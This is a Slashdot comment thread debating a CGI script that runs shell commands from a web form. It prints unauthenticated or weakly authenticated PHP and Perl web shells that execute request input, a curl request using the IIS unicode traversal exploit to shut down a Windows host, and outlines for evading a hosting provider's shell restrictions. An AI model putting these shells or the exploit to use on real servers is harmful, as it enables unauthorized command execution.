I avoid the convoluted ACL situation where possible and keep separate folders for separate ACLs/permissions and try not to subtract from inheritence.

Re:BS

[Shinobi]

Sounds like a clear example of not bothering to learn how to work with efficiently, and then judging it against a system that you have learned to work with efficiently. I've got working knowledge of both Unix permissions and Windows ACL's(As well as some of the ACL stuff in Trusted IRIX), and I have to say that I prefer the Windows and IRIX ACL stuff over the traditional Unix permissions system.

Re:BS

[Anonymous Coward]

Try writing that twice without looking at what you wrote the first time, and then you will see why that kind of flexible ACLs are NOT easy to use.

I'm stupid

[Christopher_G_Lewis]

:-(

I guess I should have read the rest of the files in the tarball.

Re:I'm stupid

[Sarcazmo]

You really aren't stupid, what you posted is the main part of it. The rest is just authentication it seems. My german isn't so good though, so I can't read the comments or the variable names. When will people get it through their head that all proper computer programs should be in english?

Re:I'm stupid

[Anonymous Coward]

Alas never, fucking americans.

COLOUR, come on it is not hard, look, a U dam it, COLOUR!

Unable to implement interaction??

[msfodder]

He should have written that section with help from the expect::pm, or better yet write the whole thing in expect. I started to do this years ago but realized the horrible insecurity after some tests and gave it up. He at least could have used ssh with expect...

Look Ma, I learnt backticks!

[pepper_pusher]

C'mon.... getting some input from html form and using it in system command (using the backticks ` i.e.), returning the output (formatted of course, to show everyone we know html) just isn't a good enough reason to be /.ed

Troll....

Is it worse than CGI?

[Zeinfeld]

When Rob and ARI hacked up CGI it was done as an overnight hack in about 18 hours total. It was not a protocol change so it got no security review.

My first response was 'you what?'

Over the next few years we saw countless exploits of the form 'add this to the command line arguments, execute an arbitrary command'.

This is one reason why I so hate 'its only like what we do before' type security arguments. What you are already doing may be braindamaged.

People like to complain about IIS security but they fail to acknowledge that the single architectural issue that has led to those exploits is structurally similar to CGI. The game is to persuade a script to execute an arbitrary command.

Apache has had fewer exploits simply because the bugs are attributed to the braindamaged scripts written by the users.

If you want to run a secure Web server the thing to do is to turn off all scripting. Compiling the scripts and linking them into the server as a plug in is a lot more satisfactory as an architectural approach, especially if you have ways to reduce the privilleges of that module to least priv.

Re:Is it worse than CGI?

[tunah]

When Rob and ARI hacked up CGI it was done as an overnight hack in about 18 hours total. It was not a protocol change so it got no security review.

But it should have, because it clearly gave the user more access (command line equivalence) to a (presumably) privileged account.

All this is doing is taking the (well tested) non-interactive command line we already have, and making it interactive, using tools that everyone with a CGI account has.

Claiming that this is a security risk is like condemning a proof-of-concept exploit for "creating" a security risk.

Re:Is it worse than CGI?

[Zeinfeld]

But it should have, because it clearly gave the user more access (command line equivalence) to a (presumably) privileged account.

I was stating the facts and leaving the reader to draw normative conclusions.

The problem was that 'security' was seen as applying cryptography to the HTTP protocol. The idea that security might mean not implementing braindamaged features never occurred...

CGI was one of those quick and dirty hacks that just stuck. The problem was that at the time the implementation of shares libraries on UNIX was very new and on many platforms did not really work. So creating server plug-ins meant you had to relink the server each time which was painfully slow.

i wrote a really simple one

[sysrequest]

it certainly is't powerful, but i just needed a quick way to create symlinks on a phpwebhosting hosted site without ssh access (which they do have as well, upon request)

#!/usr/local/bin/php
<?php
if (
($_SERVER['PHP_AUTH_USER'] != 'myusername') ||
($_SERVER['PHP_AUTH_PW'] != 'mypassword')
)
{
header("WWW-Authenticate: Basic realm=\"go away.\" ");
header("HTTP/1.0 401 Unauthorized");
exit();
}

if ($_POST['pwd'])
{
$cwd = 'cd '.$_POST['cwd'].';';
}
else
{
$cwd = substr(`pwd`,0,-1);
}

if ($_POST['cmd'])
{
$cmd = $_POST['cmd'];
exec($cwd.$cmd.';pwd',$resultrows);

$cwd = array_pop($resultrows);

echo '<PRE>';
foreach($resultrows as $row)
{
echo("$row\n");
}
echo '</PRE>';

}

?>
<HR SIZE="1">
<FORM NAME="command" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="cwd" VALUE="<?=$cwd?>">
<?=$pwd?>/ $ <INPUT STYLE="border-width:1px; border-color: #000000;" TYPE="TEXT" NAME="cmd" VALUE="<?=//$cmd?>">
</FORM>
<SCRIPT>
document. forms.command.cmd.focus();
</SCRIPT>

Re:i wrote a really simple one

[sysrequest]

yikes, i was a bit too fast.

i wanted to rename the "pwd" vars to "cwd" since it'd be correcter as it's the 'current working directory' and pwd is just the command to print it out. in my haste i forgot to change some $pwds to $cwd. so now instead of getting flamed for using a funky naming convention i'll now get flamed for being unable to release properly working code. that's what i get for trying to be perfect, bleh :)

Actually, that is EXACTLY what they've done

[Anonymous Coward]

I'm shocked at how incredibly stupid this is. I'm even more shocked that someone deemed it appropriate as a Slashdot story. This is the CGI, sans GPL license header:

#!/usr/bin/perl
use strict;
use CGI qw(:standard);
my $befehl = param("befehl");
my $ausgabe = `($befehl 2>&1)`;
chomp($ausgabe);
print <<ENDE;
Content-type: text/html
$ausgabe
ENDE

Re:Actually, that is EXACTLY what they've done

[Anonymous Coward]

holy shit! it is as well!!!!

OMG! how lame!.

tbh, anyonw who enables this on their webserver is just asking for trouble. considering all the "free" CGI scripts that let you execute arbitrary shell commands via exploits, this one just lets you do it for real.

you've got to be kidding me

[BlueLines]

the source code is like 6 lines long. basically, fetch a param and run it in perl backticks. no taint checking, no input validation, no nothing. granted, these things are usually done to prevent shell access, but still. this is hardly a revolutionary piece of software (what's changed between 0.0 and .17a??)

BlueLines

Better way to do it

[ehiris]

I used a similar method to upack zip files on my old hosting provider's server.

It is ok to improvise when you don't have an option but if you really want shell access, find a hosting provider that gives you ssh access. Changing your hosting provider is very easy. Just get hosting somewhere and point your domain name to the new DNS servers.

Violation of principles

[babbage]

This is a bad idea for the same reasons that routing all traffic through port 80 to get past firewalls is a bad idea. There is a great benefit in knowing that a given port or protocol will have certain properties & not others, and piggybacking other protocols through that channel disrupts & diminishes that benefit. If you want to allow your users access to service X, then give it to them plainly rather than screwing around with things like this. If your ISP prohibits shell access, they aren't just doing it to be mean -- they're trying to protect both themselves & you from negligent or malicious users (and if you yourself happen to be negligent or malicious then this is all the more important, but I know that you're a skilled & benevolent hacker -- this kind of policy is aimed at those other people *wink*).

As others have said, there are so many ways this could be abused, either willfully or by accident. You can make the situation a little bit better by restricting this service to HTTPS sites, certain users or IPs, etc -- but why bother reinventing the wheel when, in the form of SSH (or even Telnet), this is a more or less solved problem?

I do not see this as a good idea for general Geocities styled simple CGI site hosting. It might be useful in certain restricted environments -- your server's co-location facility only allows port 80, but you have VPN access & can usefully tunnel in this way -- but any example I can think of (like the one I just wrote) is pretty contrived & probably full of holes. It is a pretty clever engineering hack, but not one that should probably be released into the wild -- it addresses the wrong problem in the wrong way, albeit cleverly.

Re:Violation of principles

[WetCat]

At least I can open only one port on machine (443) and
be sure that I'll need to worry only on security of httpd server and not of the security of TWO servers - sshd and httpd.
Firewall-only security does not work - Slapper worm showed it in great sight. Applications and hosts should be
secure, not networks.

Re:Violation of principles

[babbage]

Actually, I would argue that both applications *and* networks need a reasonable level of security, not just one or the other. "Like warm winter clothing, security is best when applied in layers." If you just open one port for httpd but allow two different kinds of activity to go on through that channel, then that's really not much better than if you had allowed each service to run over the more traditional ports -- you still have two services to attend to, plust the added complexity of having to channel one through the other.

I would argue that this cannot be a net gain in your favor, so like I say -- if you want to open a service, you're best off by doing so directly rather than mucking around with switching ports, running shells through CGI, etc. Each of those transitions is a new potential point of failure that needs to be managed, and I don't see the point of taking on that challenge.

Re:Violation of principles

[WetCat]

The "service port" ideology itself is in some conflict with the layer model.
If we obsolete "service ports" and assume that we have HTTP
as the one and only transport protocol - security
tasks will be much easier to maintain.
Writing TCP and UDP application SECURELY is much harder than writing the corresponding HTTP based application,
HTTP and SOAP/XMLRPC provide support for much more reliable and secure application than TCP/IP
So lets leave only DNS and routing for networks,
and only HTTP for transport.
The only exception MAY BE the real-time applications, but it's also an arguable topic.

No change to the level of security

[DunbarTheInept]

Okay, on order for this program to work, you need to have an ISP that lets you upload any arbitrary CGI script you feel like. So really, how is this a change in the security level??

Before this program, you had to write a script like this (for example):

#!/usr/bin/perl
print "Content-Type: text/html\n";
print "\n";
system( "someEvilCommand -arg1 -arg2" );

Versus using the cgi shell program and typing "someEvilCommand -arg1 -arg2" at it's prompt?

use httptunnel

[skymester]

maybe you can use httptunnel, then you can use real ssh trough http

Security VS Convenience

[cornice]

All I'm seeing is posts about how insecure this is. Although I think this could open some holes it really isn't that much worse than some other CGI script. What people fail to realize is that the rights of this script are likely to be near zero. If you don't have shell access then you don't have rights to do much of anything. Thus there really isn't much that you can do with it. For some reason people seem to be thinking "full shell access" and "CGI" at the same time and this really isn't the case. I think this will be useful primarily in situations where you already have shell access, cgi-wrap or suexec, an SSL connection and no access to SSH. For when you're at your new girlfriend's house and you just haven't installed CygWin yet.

Actually what I _really_ wish I could find is a nice, free, secure file transfer program. I use scp but our designer doesn't seem to get it or ssh. I just want a nice gui that he can run on his Mac that is a bit more secure than ftp.

Re:Security VS Convenience

[Drew M.]

I came up with a great idea to do this exact thing at work where the employees needed a way to securly transfer files using only a webbrowser. Even the computer illiterate ones figured it out.
I used a combination of apache ssl and this php script: http://www.qto.com/fm/index.htm

I changed the php script around slightly to allow the filenames to be links so you can simply click on the file and download it.

Nothing New

[ReadParse]

This is barely different than what I used to write to get MindSpring REALLY pissed off at me, back when I was doing virtual hosting. Didn't take me awfully long after that to get myself a dedicated server.

Yeah, I coded something like this

[Sludge]

It used a mixture of javascript and forms to remember the CWD between commands, required a password to start using, and didn't require any Perl modules. Every time a client wanted me to service their site, I would upload a copy of the script, and it would invariably work. Rather amusing.

Off-Topic

[Salden]

His point is that your suggestion is off topic. This story was posted as a workaround for people who need but cannot get shell acess.

Someone did this in shell script ....

[geirt]

The web site is down at the moment but you can see the Freshmeat project page. The shell script is quite small, and easy to understand (at least I understood it, the last time I was looking at it ....).

In some cases

[Shade, The]

In some case CGI can be seen to be a bad thing. It is, as you pointed out, notoriously insecure. However, it doesn't have to be, especially with Perl's variable tainting, and, to my mind, CGI scripts are a useful tool for users to have. Of course, I'm biased; the hosting company which serves up my webpage doesn't have mod_perl on its system, so I've done it all through CGI instead. When done correctly, Perl/CGI scripts can be very neat, even if they do give you more than enough rope to hang yourself with.

Re:In some cases

[n3m6]

you can do this with php or python .. or anything.
infact i've had a script of my own written in php with less than 3 lines of code to the exact thing for like 2 years now.

the problem gets worse because, the person running the shell can access the files (db passwords, script source) of other users. most hosting companies havent' taken care of this. and right now there are thousands of machines waiting for this. its not apache's problem. its fixed in apache 2.0

not secure enuf?

[Anonymous Coward]

If your a hosting company and you don't feal secure with a user running a script like that. You should re-evaluate your security and consider taking on a different market. If you can setup a secure enuf server you shouldn't be running one.

BTW, your-site.com offers hosting for $5 / month with ssh & telnet access.

CGI Telnet

[SirPrize]

Have already seen something similar, been available for quite some time: CGI Telnet Although the CGI Telnet doesn't seem to be as full featured as today's featured app

Shell Access to a NATed box

[jasonrocks]

Along the topic of stupid tricks,

I have a box that is behind NAT. I have contemplated a working solution that will allow you to Telnet to a box behind NAT

1st, get an account with a decent web space provider that lets you FTP.

2nd, when you want to executed a command on your NATed box, upload a file to this directory named something like COMMAND.RUN

3rd, set up a Cron job on your NATed computer to check to see if COMMAND.RUN exists on your Web provider account.Run this job at a given interval, i.e. every 5 or 10 seconds. If it does exist, read the file and pipe all lines of this file as input to a shell.

4th, pipe the output to a file and upload it calling it COMMAND.OUT

the one line of code to do pipes in and out looks like

• bash >COMMAND.OUT <COMMAND.RUN

5th, delete COMMAND.RUN on local and remote servers, archive all commands, if you want.

I may or may not build this app, but if I do, I'll submit it to Slashdot,Freshmeat,etc. If anybody has a simpler, faster and/or more secure way to use shell access to a NATed computer, please send tell me (I don't want any man in the middle who has an IP address broker TCP/IP connection crap as explained at Defcon and on slashdot here

~If you have never first posted, you don't read slashdot enough. If you have, you're a moron.

Re:Shell Access to a NATed box

[kelleher]

It's not a new trick.

I knew idiots that did this when rsh (ssh didn't exist at the time) was turned off on all the workstations in the UDel Sunlab way back in the day... The non-idiots made sure the file was properly PGP-signed ;)

Re:Shell Access to a NATed box

[Anonymous Coward]

You could try portforwarding + SSH if you have root access to the NAT box or you have admin rights on the router. I do this all the time, it's very convenient (especially if you use a dynamic dns (dyndns.org) or own your own domain.

Or you could do the same thing you described before with a mail account and procmail, the benefit being that FTP polling is rather expensive and doing it through email would be much faster. But this isn't secure at all and you'd have to have root access with a mail transport agent configured on the box behind the NAT or have something like fetchmail setup.

OR.... you could do some tricks with port forwarding, ie having the box behind the NAT open up a (pseudo-permanent) SSH connection to another machine...

What exactly are you trying to accomplish doing this? Who owns each machine?

Re:Shell Access to a NATed box

[jasonrocks]

Unfortunately I don't have access to the router, I do have access to the box behind the NAT, it's in my apartment. What is a pseudo-permanent SSH connection? The problem of paying for FTP space is easy, everyone almost gives it away in hopes that you will use it for webhosting.
as for my goal. I wish to easily control the computer at my apartment from anywhere on the internet.

Dude,

[orthogonal]

Is there a new troll sweepstakes whereupon one attempts to build a kind of demented haiku in one's posting history [slashdot.org]?


Dude.

Excellent

[orthogonal]

Is there a new troll sweepstakes whereupon one attempts to build a kind of demented haiku in one's posting history [slashdot.org]?

Excellent

Observation

[orthogonal]

Is there a new troll sweepstakes whereupon one attempts to build a kind of demented haiku in one's posting history [slashdot.org]?

Observation.

curl, or wget?

[yerricde]

curl http://$HISADDR/scripts/..%255c..%255cwinnt/system 32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindo wsEx%201

Do you mean Curl, which is expensive, or do you mean Wget?

Re:curl, or wget?

[leighklotz]

No, not Curl, curl which is free, and in many cases works better than wget.

post?

[The Bungi]

What's a "mainframe"?

[yerricde]

Linux under VM on zSeris (or s/390 or whetever IBM decides to call it....). Granted most ISP's can't afford a mainframe.

If you define a "mainframe" as any computer that can act as a server and run operating systems in virtualization, then you can get a mainframe for as low as $200: a Microtel box from Walmart.com running Linux inside Linux. Scale the price up to whatever hardware the ISP has on its racks.

Re:What's a "mainframe"?

[Anonymous Coward]

He defined it as a zSeries (s/390) box running VM.

This is what perl's safe mode is for

[addikt10]

Perl's safe mode prevents this from executing on the server. Now, if they aren't running Perl in safe mode for their users' CGI scripts, then they have no business having a server on the net.

They do, however.

Re:This is what perl's safe mode is for

[Priyadi]

Perl safe mode? What the hell is that? The only things in mind that have something to do with 'safe mode' are PHP and Windows. Maybe you meant "PHP safe mode", but that's not Perl. AFAIK, Perl doesn't have something that resembles PHP safe mode.

Re:This is what perl's safe mode is for

[Anonymous Coward]

He is probably referring to perl's "taint" mode. You get it by running perl with a "-T" command line option (can be accomplished through CGI by putting the -T in the #!/usr/bin/perl line). It does, among other things, force you to explicitly define your PATH and run some sort of regexp on the parameters you pass to another process when you run it. However, it's still not foolproof: if you run a braindead regexp on the parameter that doesn't do anything useful, someone can still do bad things using your script.

nervalhi.net

[Ayanami Rei]

(see above)

Re:GOD BLESS AMERICA

[Anonymous Coward]

Africa's a continent, not a country. Mogadishu is in Somalia.

Shell != ability to run one command at a time

[Colz Grigor]

This CGI program that runs a command via back-ticks (i.e. `ls`) is not a shell by my standards.

A shell is more than the ability to run simple commands; it provides an environment to run commands, maintain a command-line history, spawn processes, store variables, etc.

And any good CGI Shell should also take output from the system command and format it into HTML that will display in a browser the same as it would in the shell.

Am I missing something here, or is this "cgi shell" thing really not newsworthy?

::Colz Grigor

Front Doors, not Back Doors. Admin work!

[billstewart]

It's not a back door, it's a front door. The question is where you are once you walk in the door - chrooted jail, or do you have the run of the house? CGI always offered the possibility of doing lots of things that might be unsafe, and requires administration of systems in a way that restricts the options available to the browser to things that are either relatively safe to the system as a whole or only able to bother the user who installed this in his own directory. You should have done this anyway! And of course, if you're a user, you probably shouldn't install this application on a server you actually care much about until the security features get upgraded a bit.

(Obviously if your hosting provider uses a Windows system instead of Unix, the answer to "where are you" is "Probably nowhere interesting", though it can probably be adapted to support Windows command line services as well.)

Got shell?

[Anonymous Coward]

posting as AC for obvious reasons . . .

Well, it might be "obvious" for your average developer, but it's not obvious to webheads or to people who dabble in PERL but who are by no means experts.

I'm one of those people. In fact, last night I was thinking about how to create symbolic links on my webhost (who doesn't allow shell access) and figured I could cobble together something narrow with a web interface, when this story posted. Kewl, thought I.

Only problem is that the host on which I do have shell access doesn't have the right PERL modules installed and it will be a while before I can boot out of classic and into X (yup, I'm a little lazy, but I'll do it this weekend maybe.)

So, do you have any suggestions for where I could find a different CGI-Shell, one that doesn't have the same PERL module requirements?

Misquote

[Gothmolly]

That's the sig of some /.er, not from Jurassic Park. And a lame one at that.

Re:Misquote

[Anonymous Coward]

It is from Jurassic Park, at least in the book.

This is new?

[Zone-MR]

Scripts like this for both perl and PHP have existed for quite some time. They basically rely on one command like exec or system. In essence they just run whatever you pass them and spit out the output.

Since this got so much publicity I was expecting something new, such as the ability to interact with interactive programs. But it seems this one lacks that feature aswell, in essence making it a poor substitute for a real shell. Pico, micq, bitchx, su, passwd, any interactive program is UNUSABLE.

That is its biggest limitation.

browser shells in java

[StandardDeviant]

do a google on "mindterm ssh". it's a java applet that does ssh (1, maybe 2 as well, been a while since i looked at it) and vt100. it'll only connect (by default, this is a jvm thing) to the host it came from, but it's handy if you have a user base that may be "floaters" (i.e. may be on random machines traveling around; all they need is a web browser). ah, here's the link and it does support ssh2. it is free for "personal and limited commercial" use.

If you just need vt100/telnet style access (say, within your firewall'd lan) you might like ShellInABox, which is a GPL'd java applet shell for that purpose.

Bad URL

[TBone]

http://www.shellinabox.com

And I have to second this one. Rather than opening a script to take shell commands, this actually runs an interactive shell, with login and everything, completely tunnelled over HTTP, which is a problem for people who are stuck behind a very-hard firewall at a remote site (read - most people's work locations).

It's been done before (and better)

[don.g]

Jef Poskanzer's Experimental Command Line Interface allows interactive usage of several programs; as a demonstration, it lets you play Adventure!

eh?

[norweigiantroll]

My program is, uh, very similar!!! WWWSH is a program written in C to give a remote shell. I have some features CGI-shell does, such as history (although I didn't get around to tab completion), and file uploading. It can also remotely edit files with an editor on your computer. It listens to see if the file has changed, and uploads the file just as you save it! Mine is also password protected, though not with the web server but in the CGI itself. Also, I have server CGIs written in Perl and C, so if compiled, it is impossible to tell what it does.

from the script-kiddie dept.

[Jimithing DMB]

This is lame.

I've never used one of these because normally the only thing preventing you from logging in with SSH or telnet is that your shell is not a normal one.

But guess what.. there's this neat command called "chsh" on most of these systems. Normally it is setuid root so you can change your own shell. So you just run it on a TTY (since it requires a real TTY for you to type your password) and you can change your shell to /bin/bash.

Instead of posting specific instructions, I'll leave it as an excercise for the reader to discover how to create a TTY. Some hints follow.

You can run any program you can upload (including regular old shell script) as a CGI. Gee.. now what protocols can we think of kids that might allocate a TTY and allow one to use it over the network... hmmmm... But you know to run the server for this you will need an internet super server, because the server for this protocol is usually designed to work with this internet super server.

And let's see, this particular protocol's server normally runs the "login" program with a specific set of arguments upon a successful connection. Unfortunately that is no good as login must be run as root. But hmm, if you make a little program that just throws away it's arguments and runs a shell, you'd be in business. So now you can use a certain client program to connect to some port on your server which will immediately give you a shell under your acconut (yes, there is a brief window of opportunity here for someone impersonating as you). That shell is being run on a TTY, so you can actually use chsh. Assuming chsh is a setuid program as usual then you are in business-- most hosters do have SSH turned on by default.

Fair warning: Although you are not in any way breaching the security of the box, you are giving yourself easier access to things you already really had access to anyway (looking at it from the OS security model). One of my friends tried this and got dropped by his hoster. Were they right to drop him? I don't think so. Is it worth it to fight it? Not unless you want to make an example out of them and don't mind spending more than you'll ever get.

What about number of groups limitation

[JBird]

Adding new groups is all well and good until you come up with the limitation that a user can only be in so many groups. Some Unix systems I have administered limit users to be members of 16 groups, others to 32 groups. It makes it very difficult to manage fine-grained access. Additionally it causes some very subtle problems when using something like NIS and trying to login to a box that doesn't like you being in 32 groups!

Hmmm, sounds like I need to reevaluate how group memberships work on my systems.

^----- That was freakin funny!

[You're All Wrong]

Aw bollocks - I had 5 mod points yesterday, but wasted them modding down idiots. If only I'd kept one for a +1 funny.

"and besides, shells don't let you do much anyways."

Love it!

YAW.

ACL's (was Re:Backdoors)

[Eunuchswear]

I first used ACL's in 1978 on an ICL 1903T running George 3 (and George 4 in the hours of darkness).

Can we talk about dick size now?

pedantic brain measuring

[MegaFur]

Actually, it shows that he has at least half a brain.
He may or may not have more than that.

OMG LOLOLOLOLOL

[Anonymous Coward]

THAT WAS SO FUCKING FUNNY I AM SHITTING MYSELF

crap now i have to go change. Thanks a lot asshole-funny-man

Secure Shell in Browse- JavaScript Unix emulator

[ron_ivi]

Here's a secure shell...
This guy emulated Unix using JavaScript.

http://junix.da.ru/

frob.us

[SHEENmaster]

I would mention that it is FROB.US, as I mentioned in my previous post. If you are having dns trouble then bitch at me on aim, my sn is SHEENmaster.

Re:frob.us

[Leto2]

I think you mentioned a link to your _webserver_ in your previous post. You didn't mention where your _shellserver_ was hosted. Of course I didn't just assume that you would run your shellserver and webserver from the same IP. Maybe the same physical box, sure, but in that case I'm sure you seperated the process and IP spaces correctly.

P.S. You should fix all those spelling and grammar errors on your website, it looks rather immature with those.

Re:frob.us

[SHEENmaster]

Plees knote that al speliing and grammmaticle erorrs wer intentionalee plased in this docment so that those of u who care can looke throuh and find them. Please emaillllllll all corrctionss to all of us so thate wee maye correcte thee errore ande publiclye commmmmmmend you for your discovry.

CGIs aren't persistent

[smcv]

Unless the author of your webserver is particularly clueless, CGI scripts that run for more than a certain time (30 seconds?) get killed unceremoniously. 30-second uptimes are not suitable for running a botnet :-)

Old news?

[Anonymous Coward]

Why is this getting slashdotted? I've had CGI-Shell installed on my account since at least May 2002... No one else knew about this kind of thing? Oh, how the mighty have fallen. :)

Last Post!

[alpg]

Something mysterious is formed, born in the silent void. Waiting
alone and unmoving, it is at once still and yet in constant motion. It is
the source of all programs. I do not know its name, so I will call it the
Tao of Programming.
If the Tao is great, then the operating system is great. If the
operating system is great, then the compiler is great. If the compiler is
greater, then the applications is great. The user is pleased and there is
harmony in the world.
The Tao of Programming flows far away and returns on the wind of
morning.
-- Geoffrey James, "The Tao of Programming"

- this post brought to you by the Automated Last Post Generator...